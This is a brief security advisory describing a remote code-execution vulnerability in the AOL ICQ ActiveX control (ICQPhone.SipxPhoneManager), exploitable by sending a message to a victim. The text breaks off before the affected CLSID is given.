The America Online ICQ ActiveX Control is prone to a remote code-execution vulnerability. 

An attacker could exploit this issue simply by sending a message to a victim ICQ user. Successful exploits could allow the attacker to execute arbitrary code.

The ICQPhone.SipxPhoneManager ActiveX control with the following CLSID is affected:
